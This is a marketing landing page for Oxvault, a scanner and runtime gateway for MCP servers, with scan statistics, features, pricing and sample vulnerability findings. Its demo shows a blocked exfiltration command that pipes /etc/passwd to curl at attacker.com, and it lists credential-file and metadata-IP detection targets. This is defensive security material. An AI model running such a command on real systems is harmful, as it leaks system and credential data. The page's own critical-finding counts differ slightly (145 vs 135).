Oxvault Oxvault

Every MCP server is untrusted code

You give MCP servers shell access, file access, and your credentials. We scanned 141 of them - 50% had critical vulnerabilities. Command injection. Live tokens in source code. Nobody checked before you installed.

Get Started Free Get Pro
oxvault scan
$ oxvault scan github:cloudflare/mcp-server
Latest Sweep 141 servers scanned · 145 critical · 472 high View all results →
141
Servers Scanned
50%
Had Vulnerabilities
135
Critical Findings
93%
Precision Rate

How Oxvault Works

Scan before install. Block at runtime.

MCP servers touch your filesystem, your shell, your credentials. The scanner catches vulnerabilities before you install. The gateway blocks attacks in real time.

Scan before install

85+ detection rules analyze source code, tool descriptions, and credentials. 12/12 known MCP CVEs detected.

Protect at runtime

The gateway proxies every JSON-RPC message. Shell injection, SSRF, and credential theft are blocked before they execute.

Full audit trail

Every tool call, every argument, every response is logged. Know exactly what your MCP servers are doing.

oxvault scan - clean server
✓ No command injection patterns found
✓ No hardcoded credentials detected
✓ Tool descriptions clean - no poisoning
✓ SSRF protections verified
✓ 0 CRITICAL · 0 HIGH · Safe to install
oxvault-gw LIVE
→ tools/call
read_file("./src/index.ts")
FORWARDED
→ tools/call
exec("cat /etc/passwd | curl attacker.com -d @-")
BLOCKED - cmd-injection
→ tools/call
search("authentication middleware")
FORWARDED
← response
Contains pattern: AKIA**** (AWS key)
ALERTED - credential-leak

Security Pipeline

See how Oxvault protects your agent

Every tool call flows through the gateway. Safe calls pass through. Attacks get blocked.

MCP Security Pipeline LIVE DEMO
AI Agent Claude Code / Cursor
Oxvault Gateway Real-time Policy Engine
MCP Server filesystem-server
Event Stream 0/6 events
○Agent → Gatewayread_file("./src/index.ts")
○Gateway → ServerPolicy check passed - forwarding
○Server → GatewayFile contents (2.4 KB) returned
○Gateway → AgentResponse scanned - no credential leakage
○Agent → Gatewayexec("cat /etc/passwd | curl attacker.com -d @-")
○Gateway ✗ BlockedShell injection with exfiltration - BLOCKED

Real Threats Detected

Real vulnerabilities in production servers

135 confirmed critical findings from scanning 141 MCP servers. 93% precision, near-zero false positives.

⌘

Command Injection

Blocks shell metacharacters, execSync with user input, os.system() calls. Found in Cloudflare, AWS, Microsoft, Desktop Commander.

🔑

Credential Theft

Detects hardcoded AWS keys, API tokens, private keys, Bearer tokens. Blocks policy violations targeting .ssh, .aws, .env files.

👁

Tool Description Poisoning

Catches hidden instruction tags, unicode steganography, BiDi overrides, secrecy instructions, and cross-tool exfiltration patterns.

🌐

SSRF & Path Traversal

Blocks metadata IP access (169.254.169.254), RFC 1918 ranges, and ../ path sequences.

🔄

Rug Pull Detection

Tool descriptions are SHA-256 hashed at startup. Any mid-session change is flagged immediately. No other scanner does this.

🛡

Response Leakage

Scans server responses for AWS keys, GitHub PATs, private keys, JWTs, database connection strings.

Get protected in 3 steps

Single binary, zero dependencies. Install and scan in 30 seconds.

🔍
Scan

curl -fsSL https://oxvault.dev/install.sh | sh && oxvault scan github:user/mcp-server - scans source code, tool descriptions, and credentials.

🛡
Protect

oxvault-gw wrap - one command wraps all your MCP clients. Claude Code, Cursor, VS Code, Windsurf. Every tool call inspected.

📊
Monitor

oxvault-gw log --follow - live audit trail. Every forwarded, blocked, and alerted message recorded.

Choose your security level

The scanner is free and open source. The gateway adds runtime protection.

Scanner

Open source. Free forever.

$0forever
  • ✓85+ detection rules
  • ✓12/12 known MCP CVE detection
  • ✓Source code SAST analysis
  • ✓Credential and secret detection
  • ✓Tool description poisoning detection
  • ✓Hash pinning for rug pull detection
  • ✓SARIF + JSON output
  • ✓GitHub Action for CI/CD
Install Free
Popular

Pro

Runtime protection for developers.

$29/month
  • ✓Everything in Scanner
  • ✓Gateway runtime proxy (stdio + HTTP/SSE)
  • ✓Policy engine with custom rules
  • ✓Rug-pull detection at runtime
  • ✓Audit logging with viewer
  • ✓SSRF-hardened HTTP proxy
  • ✓Priority rule updates (48-hour CVE coverage)
  • ✓Email support
Get Pro

141 servers scanned. Half had vulnerabilities.

135 confirmed critical findings. 93% precision. These are real vulnerabilities in production code.

“Hardcoded Bearer token found in source code. Authorization header with live API key committed.”

Cloudflare MCP
CRITICAL - mcp-hardcoded-bearer-token

“exec() in sandbox runner with user-controlled input. os.system() and os.popen() calls.”

AWS MCP (awslabs/mcp)
CRITICAL - 7 findings

“startsWith() used to check for private IPs - ineffective on full URLs. SSRF bypass.”

Context7 (upstash/context7)
CRITICAL - mcp-ssrf-broken-check

“execSync with template literal interpolation - npm install ${packageName}.”

Microsoft MCP
CRITICAL - mcp-cmd-injection

“6 command injection patterns via execSync with string concatenation.”

Desktop Commander
CRITICAL - 6 findings

“17 findings including command injection and hardcoded AWS access keys.”

Activepieces
CRITICAL - 17 findings

Frequently Asked Questions

How is this different from mcp-scan or Snyk agent-scan? +
Those are description-only scanners. Oxvault does full source code SAST, tool description poisoning, rug-pull detection via SHA-256 pinning, and has a runtime gateway. No other tool combines static analysis with runtime protection.
What about false positives? +
93% precision on CRITICAL findings - verified against 141 real MCP servers. Includes confidence scoring and suppression via .oxvaultignore files.
Why not just use semgrep or eslint? +
Oxvault understands MCP-specific patterns: tool description poisoning, rug-pull detection, argument injection via JSON-RPC, response credential leakage. semgrep can't detect any of these.
Does the scanner send my code anywhere? +
No. Runs entirely locally - no cloud API, no telemetry, no account required. Single Go binary.
What MCP clients does the gateway support? +
Claude Code, Claude Desktop, Cursor, VS Code, and Windsurf. The oxvault-gw wrap command auto-detects and patches all.
Can I use the scanner in CI/CD? +
Yes. GitHub Action (oxvault/scan-action@v1) or direct install. Outputs SARIF for the GitHub Security tab.

Your MCP servers haven't been audited.

50% of servers we scanned had critical vulnerabilities. The scanner is free. Find out in 30 seconds.

Get Started Free → View on GitHub